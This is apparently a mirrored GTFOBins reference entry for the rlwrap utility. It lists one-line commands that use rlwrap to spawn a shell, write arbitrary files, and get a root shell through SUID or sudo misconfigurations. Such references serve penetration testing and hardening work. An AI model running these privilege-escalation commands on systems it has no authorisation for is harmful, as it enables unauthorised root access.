mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 08:48:54 +01:00 
			
		
		
		
	
		
			
				
	
	
		
			15 lines
		
	
	
		
			375 B
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			15 lines
		
	
	
		
			375 B
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| ---
 | |
| functions:
 | |
|   execute-interactive:
 | |
|     - code: rlwrap /bin/sh
 | |
|   file-write:
 | |
|     - description: This adds timestamps to the output file. This relies on the external `echo` command.
 | |
|       code: |
 | |
|         LFILE=file_to_write
 | |
|         rlwrap -l "$LFILE" echo DATA
 | |
|   suid-enabled:
 | |
|     - code: ./rlwrap -H /dev/null /bin/sh -p
 | |
|   sudo-enabled:
 | |
|     - code: sudo rlwrap /bin/sh
 | |
| ---
 |